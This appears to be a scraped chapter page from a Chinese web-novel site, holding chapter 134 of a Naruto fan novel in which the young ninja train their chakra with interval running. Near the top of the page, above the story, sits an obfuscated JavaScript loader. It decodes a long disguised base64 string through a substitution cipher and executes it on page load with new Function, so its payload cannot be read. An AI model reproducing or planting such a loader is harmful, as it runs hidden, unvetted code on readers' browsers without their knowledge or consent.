笔趣阁

阅读记录  |   用户书架
(function(){function u70d7(v2501){var h4f15="=1Z[^|Tz(Uk:ie5.WERYKAqx$4fS%I]hOB,7w02lgcPQrj_/C~LMnNXbV&9Da6!?osHy-@Jmv;du3tGF8p";var u814a="u_qcDotiF;&%0I?HBsZ[5]W:1aG(K!8lb/Y6VUw-gTznOfNjm4pS|r.@PMvXEA2e$h9~d3ykCR=QL7x,^J";return atob(v2501).split('').map(function(ma10f){var eae1bf79=h4f15.indexOf(ma10f);return eae1bf79==-1?ma10f:u814a[eae1bf79]}).join('')}var c=u70d7('rtmp://MnpRLXwyWSJ8SyIrIkB+TzddLSJBZGo9UVtUenxRUyl7U2o9UVtUenxRUzItS090NF0hS0ZOW2p+ITRqP35Gejd+aiE0RnxIQDd+Pyl7empTQjgmNFtucXpRQlhUP0VUU1E0OXpnNFR8TlhMaDRUanxOQykpe04/VD1OUX05NE4gOWl0JDRbZGo9UVtUenxRU2hpQGldaUgtNyl7Tj9UPU5RIE1UTnpRZ1hqTnxDdnM0TnZ8LT9TaGlAaV1pSC03KX1VOTROIFEtQEhdLWpLaWRZImgvRWwuaSQxM3I2XjFwTTEuYyYzIkYiOT9ObGkkIkYiRXotbCR+dCJGIltbVGwhaSFLbGk3bCFdICRpeEB+eCRpIkFVOTROID9LN100N2lqQGR6N35qITRZOWl0JDRbU0h0KSs5aXQkNFtTJCQ3KSs5aXQkNFtTJCQkKSs5aXQkNFtTSF0pQUZaT3QhXSQ0PzRkejd+aiE0WTlpdCQ0W1NIXSkrOWl0JDRbUyQkNykrOWl0JDRbUyQkJCkrOWl0JDRbU0h0KUFGTHQ/SyEhJCRpZHxIQDd+P1k/SzddNDdpakBTIixAd0pbQ3c9LShfL1tDaDItNmRkIilBRlQhNGpAajRpZD9LN100N2lqQFMiLEBwaCxEO2g7cUdoT3F3PS02ZGQiKUZQfmpbSEhdZD9LN100N2lqQFMiW0B3eltAO0o0cUtRIilGakAtaUtkP0s3XTQ3aWpAUyJbQ3cyT2YoL1J1ZGQiKUY9S2pPIS1+SC1kP0s3XTQ3aWpAUyJbQFdFNER1ZCIpRmd+dHRLQCF0ZD9LN100N2lqQFMiW0N3IVJEcFBSdWRkIilGelshTz9bfmQ/SzddNDdpakBTIjRDSExPZ2RkIilGMmk/QEhpITRkejd+aiE0WT9LN100N2lqQFMiY3EoaTQ2ZGQiKUFGRSQkXTR0T2QyaT9ASGkhNFk/SzddNDdpakBTIiwhd0xPNmRkIilBRlE/W0AhN09LaWQyaT9ASGkhNFk/SzddNDdpakBTIlJDRzlPQGVkIilBRmdbT0s3ZDJpP0BIaSE0WT9LN100N2lqQFMiW0MoPVJmSFQiKUFGMmpqNEhqT2lLZD9LN100N2lqQFMiT3EoaSwhZ2QiKUY5SF0kSEhIW2pkP0s3XTQ3aWpAUyJPcSgyIilGW1t+SGpkP0s3XTQ3aWpAUyJPZkhzUjZkZCIpVTk0TiA/SyE0W0BdXTdkP0s3XTQ3aWpAUyJbISRpNHE7aC1nZGQiKVU5NE4gZ100amkhN09qVTk0TiBnTzc/LT8hLWlkMi1LT3Q0XSFLWWlBVXpqUzItS090NF0hS1hoP1FnVHM+JCl7Z083Py0/IS1pZDItS090NF0hS1lRP1tAITdPS2lTZ1tPSzdTKSoyLUtPdDRdIUtYaD9RZ1RzKUF9empTaHxbNFR6fFFYRT80TltzWHpRLT9HcmpTP0shNFtAXV03KT5sJCl7Z100amkhN09qZHxIQDd+P1lUITRqQGo0aUFTP0s3XTQ3aWpAUyItZnd+LWYoSlJxYWQiKSlVZ100amkhN09qWHotZCJUIitnW09LN1MpKiQ/flVnXTRqaSE3T2pYRVRKaD9YMnotVHNkIiRpaToiVWddNGppITdPalhFVEpoP1hzP3pnc1RkIktpaUxHIlVnXTRqaSE3T2pYLXpFNE9oPy1kVE49P1V6alN8SEA3fj9YT3wtSklkUT1oaCl7fEhAN34/WE98LUpYNExMP1EtdnN6aC1TZ100amkhN09qKX0/aEU/ezk0TiBUISRdN10kQGpkaj1RW1R6fFFTKXt8SEA3fj9YT3wtSlg0TEw/US12c3poLVNnXTRqaSE3T2opVXo3fmohNFhOP0N8OT9hOT9RVDN6RVQ/UT9OU1tbfkhqRlQhJF03XSRAakZqNGhFPyl9VXo3fmohNFg0LS1hOT9RVDN6RVQ/UT9OU1tbfkhqRlQhJF03XSRAakZqNGhFPyl9fTk0TiA9P0stN0tkfEhAN34/WVQhNGpAajRpQVM/SzddNDdpakBTIlJxJHpScXVkIikpVT0/Sy03S1h6LWROW2p+ITRqP34rRSQkXTR0T1NnW09LN1MpKiQ/filVPT9LLTdLWEVUSmg/WHM/emdzVGQiaUxHIlU9P0stN0tYRVRKaD9YfDk/TmpofDJkInN6LS0/USJVW3xRRVQgRS1paltkUy9ISEgtXTddIUY/Szc3JDRqRjlIQC1IdDQ0ZCFpaSlkPlZOfEN6RT9YTjRbP1NZaj9UW3NTL0hISC1dN10hRj9LNzckNGopRlE/MiBWTnxDekU/U1NTMUZOPy8/W1QpZD5FP1RjekM/fD1UU1NTKWQ+Tj8vP1tUU1E/MiBhTk58TlMiVHpDP3w9VCIpKSlGOUhALUh0NDQpKSlBKVU5NE4gR09daVtdT2Q0RUpRWyBqPVFbVHp8UVM5IV1qLSl7OTROIE9pfiFqNy1PamRZIi9FIkYiW0VFIkYiZ3pqIkYiL0xnIkYiTFFnIkYiL0xnPyJGIjI/T0wiRiJFOWciRiJzVENoIkYiL0w/ZyJBVTk0TiBDT0hbQEtkT2l+IWo3LU9qWGg/UWdUc1VPaX4hajctT2pkT2l+IWo3LU9qWVE/W0AhN09LaVNnW09LN1MpKkNPSFtASylBVVt8UUVUIE5pS0t+XWRZIlIhWz1fY3dQNCEoUE9xR1RSIS1LT01LaU9ANjdyY20kX2dkZCJBVTk0TiBqQDdINH50XWROaUtLfl1ZaUFVempTTmlLS35dWGg/UWdUcz4kKXtqQDdINH50XWROaUtLfl1ZUT9bQCE3T0tpU2dbT0s3UykqTmlLS35dWGg/UWdUcylBfTk0TiBOQH4tSF1AfmRMNE5FP2VRVFNOW2p+ITRqP34pVXpqU3pFXzRfU05Afi1IXUB+KSlOQH4tSF1AfmRpVU5Afi1IXUB+K2RdXV1dVTk0TiB6ITR+LU9kWSJzVFRMRXhCIkZ8T2pLIWotS1NqQDdINH50XSlGInNUQ2giRmBFQ297TkB+LUhdQH59YEZgb3tOW2p+ITRqP359WG97T2l+IWo3LU9qfWBBWXpbIU8/W35BUyJCIilVempTZ100amkhN09qSWRRPWhoKWddNGppITdPalg5NGg9PytkIlxOXFFFP1EtIFpFIHN8RVQgIit6ITR+LU9VVE5Kezk0TiAvaiQhdGQ0MjR6VCBFLWlqW1N6ITR+LU9Ge0N8LT94IlF8bFt8TkUiRk4/LXpOP1tUeCJqfGhofDIifUYkS2lpKVUvaiQhdGQ0MjR6VCAvaiQhdFhUP0dUUylVOTROIC8kan4/T2pkL2okIXRYelEtP0dyalM5aXQkNFtTNyQpKVU5NE4gPS1AfkA/aSF0ZCIiVXpqUy8kan4/T2o+ZGkpez0tQH5AP2khdGQvaiQhdFlQfmpbSEhdQVMvJGp+P09qKVUvaiQhdGQvaiQhdFlQfmpbSEhdQVNpRi8kan4/T2opfS9qJCF0ZC9qJCF0WTJqajRIak9pS0FTQlh7JEZ+fUJnKVk5SF0kSEhIW2pBU1NHZD5HWT1Lak8hLX5ILUFTIiIpWWd+dHRLQCF0QVMpWXpbIU8/W35BUyIiKSkpWXpbIU8/W35BUyIiKVUvaiQhdGQvaiQhdCs9LUB+QD9pIXRVL2okIXRkP0s3XTQ3aWpAUy9qJCF0KVU5IV1qLWQvaiQhdFk9S2pPIS1+SC1BUyJCIilZaUFVempTZ100amkhN09qSWRRPWhoKWddNGppITdPalg5NGg9PytkIlxOXFFnP1QgWkUgc3xFVCBFPVtbP0VFIis5IV1qLX1bNFRbc1MtNGo0SDRpKXt6alNnXTRqaSE3T2pJZFE9aGgpZ100amkhN09qWDk0aD0/K2QiXE5cUWc/VCBaRSBzfEVUIGo0emg/LSIrLTRqNEg0aX05NE4gLXR+fjdkWk90IV0kND80U1EtQEhdLWpLaVhbfFFbNFRTWWBRfDJsb3teNFQ/WSJRfDIiQVMpfWBGYHNOP2psb3tofFs0VHp8UVhzTj9qfWBGYD1FW2xvez8hP08kS1MpfWBBKVhFfE5UU1NTKWQ+Z1tPSzdTKWxYSykpWXpbIU8/W35BUyJGIikpVTk0TiA9IX5dIWQtdH5+N1h6US0/R3JqUzlpdCQ0W1M3JCkpPmwkNS10fn43WVB+altISF1BUy10fn43WHpRLT9HcmpTOWl0JDRbUzckKSkpeCIiVS10fn43ZC10fn43WWpALWlLQVM9IX5dIUYiIilZPUtqTyEtfkgtQVMiIilZZ350dEtAIXRBUylZelshTz9bfkFTIiIpKz0hfl0hVT0/Sy03S1hFTltkWSJzVFRMRXhCIkY5IV1qLUY9P0stN0tYei1GLXR+fjdBWXpbIU8/W35BUyJCIilVVE5Ke3xIQDd+P1hPfC1KWDRMTD9RLXZzemgtUz0/Sy03Syl9WzRUW3NTPyl7fEhAN34/WDQtLWE5P1FUM3pFVD9RP05TIl5yJnZ8UVQ/UVQzfDQtPy0iRlNTKWQ+e3xIQDd+P1hPfC1KWHpRRT9OVFc/anxOP1M9P0stN0tGfEhAN34/WE98LUpYW3N6aC1ffC0/RVlpQSl9KSl9empTZ100amkhN09qSWRRPWhoKXtnXTRqaSE3T2pYOTRoPT8rZCJcTlxRNExMP1EtPy0gP0MgVHwgc1RDaCJVOTROID03QCE0aWR8SEA3fj9YZz9UYWg/Qz9RVFdKZS1TPT9LLTdLWHotKVV6alM9N0AhNGlkZFE9aGhubj03QCE0aWRkPVEtP2p6UT8tKXtnXTRqaSE3T2pYOTRoPT8rZCJcTlxRIFs0UVQgZz9UID9DIGpOfEMgc1RDaCJ9fX1VempTZ100amkhN09qSWRRPWhoKXtnXTRqaSE3T2pYOTRoPT8rZCJcTlxRRT9RLSAvRSBzfEVUICIrZ083Py0/IS1pfTk0TiA/IT9PJEtkaj1RW1R6fFFTKXtUTkp7W3xRRVQgNE9ILUBkU1E/MiBeNFQ/KVhUfDN8WzRoP140VD9NVE56UWdTKVVbfFFFVCA5LT9dN2RgRUNUejFFei0xb3tbJCFdN2p0WE5ban4hNGo/fn0xTDlgVWg/VCA9IUs/S1tIZHBNcl9YTDRORT9TaHxbNGhNVHxONGc/WGc/VGVUP0NTOS0/XTcpKVV6alM9IUs/S1tIZGRRPWhobm49IUs/S1tIWC00VD9JZDRPSC1AKXs9IUs/S1tIZHtMOWN6Qz9FeGlGLTRUP3g0T0gtQH19Tj9UPU5RID0hSz9LW0hYTDljekM/RSskfVs0VFtzUzQtaltqSCl7Tj9UPU5RICR9fVU5NE4gfE9qSyFqLUtkaj1RW1R6fFFTPTQ0dCEtfi0pe04/VD1OUSA/SzddNDdpakBTPTQ0dCEtfi0pWWpALWlLQVM5aXQkNFtTfiEpRmdbT0s3UylYVHxNVE56UWdTQDcpWEVoels/U1E/W0AhN09LaVNnW09LN1MpKkgpKyEpKX1VR09daVtdT1N8T2pLIWotS1NnTzc/LT8hLWkpKVV6N35qITRZIjQtLWE5P1FUM3pFVD9RP04iQVMiQz9FRTRnPyJGU2o9UVtUenxRUzQtaltqSCl7empTNC1qW2pIWC00VDRYbWRkTltqfiE0aj9+KXt8SEA3fj9YZz9UYWg/Qz9RVFdKZS1TPT9LLTdLWHotKVhOP0N8OT9TKVU5NE4gTkh0PyEhZFE9aGhVempTZ100amkhN09qSWRRPWhoKXtnXTRqaSE3T2pYOTRoPT8rZCJcTlxRTj9bP3o5PyA/QyBMfEVUIEM/RUU0Zz8iVWddNGppITdPalg5NGg9PytkIlxOXFE/WC00VDRYOSAiKzQtaltqSFgtNFQ0WFpVTkh0PyEhZFNYWFhQT2lLSGlLaSlkPnt6alNJUE9pS0hpS2lublBPaUtIaUtpWGg/UWdUczxkaSlOP1Q9TlFVZ100amkhN09qWDk0aD0/K2QiXE5cUSIrUE9pS0hpS2lYL3x6UVMiICIpfX1RPzIgKD1RW1R6fFFTIjROZ0UiRjQtaltqSFgtNFQ0WFopU3sxVC1bRXhMdD9LISEkJGlGMWh8Z3hOSHQ/ISF9KX19KSl9KVNZIlIhWz0sRFdpcmZoQCxEO1BPcUdUUiEtS09NS2lPQDY3cmNtJF9nZGQiQUYiJH50IkYyelEtfDJGLXxbPUM/UVQpfVV8S0B+TzddLVMpVQ=='.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第134章 间歇性高强度运动(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

唔,这些小家伙们,都开始修行查克拉了呢。

昏暗的树林中,卯月夕颜站在一个巨大的树冠上,偷偷观察那一行人在森林中狂奔。

不过这每跑一会儿,就停下来休息,是个什么道理呢?

她不禁很是疑惑。

按照刚刚所记录的。

他们每跑五分钟,就要停下来休息一分钟。

这样查克拉消耗能更快更多吗?

按照之前老师所传授的,查克拉不应该是在长时间运动,尤其是在40分钟之后,消耗才会极具提升。

而这些小家伙们,每过五分钟之后就停下来,这样完全达不到连续运动40分钟的标准。

估计这一晚上一白练了。

卯月夕颜不禁连连摇头。

……

“我……我不行了……”

天天率先跌坐在地。

完成上一个五分钟的她,再也没有任何力气从地面上站起来。

“这就不行了?”

跟在几个少年身后的夕日红,不禁有些疑惑。

她看看手腕上的手表。

“才刚刚过二十多分钟,怎么就有人起不来了呢?”

“按理说,他们的查克拉应该不可能这么消耗殆尽的啊。”

“确实有些不正常。”卡卡西点头。

“我们去看看。”

两人激活查克拉,身影迅速消失在原地,来到几人身前。

“天天怎么了?”夕日红关切的问道。

“查克拉消耗的差不多,快要见底了。”淳平从地面上站起来。

“我刚刚探查了她的身体。”

“这么快?”夕日红和卡卡西对视一眼,都从彼此的目光中看到了难以置信。

“怎么会消耗的这么快。”夕日红满脸疑惑,“正常的情况,应该在40分钟之后,你们的查克拉才会快速消耗。”

“到底你们用了什么办法,居然提前开始消耗了?”

卡卡西也是满脸疑问,他看向淳平,等待着少年的答案。

“HIIT。”淳平淡淡的说道。

“什么意思?”夕日红更加疑惑了。

“一种运动方法而已。”淳平解释道:“高强度间歇性训练。”

“比持续性训练,能够更加快速而且高效率。”

“很神奇!”夕日红赞叹一声,她刚刚蹲在地上,探查天天的身体。

发现查克拉真的已经见底了。

“你们继续!”卡卡西发布命令到。

“我们留在这里照看天天,你们按照刚刚淳平所说那个方法继续练习。”

“如果谁的查克拉快要见底,便喊我们。”

“我和夕日红把你们带回来。”

“出发!”淳平大手一挥,率先冲了出去。

其他几人迅速跟上。

“如果这个方法真的这么神奇的话,以后我们木叶的小忍者,怕是修炼的效率,要大幅度提升了!”夕日红赞叹一声。

“确实!”卡卡西眼中早没了睡眼惺忪的样子。

他认真的说道:“淳平还总是能够给人带来惊喜呢!”

“这个查克拉的修炼方法,一定要传播开来!”

“呼……呼……”

“我也不行了!”行进中的小樱和井野同时娇呼一声。

两人只觉得腿仿佛都不是自己的一般。

啪叽一声,她们跌坐在地上,就再也站不起来了。

深深的喘着粗气,两人很是疲惫。

甚至连话都不想再多说一句。

夕日红的身影出现,一左一右,扶起两个女孩。

“你们继续,我带她们回去。”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间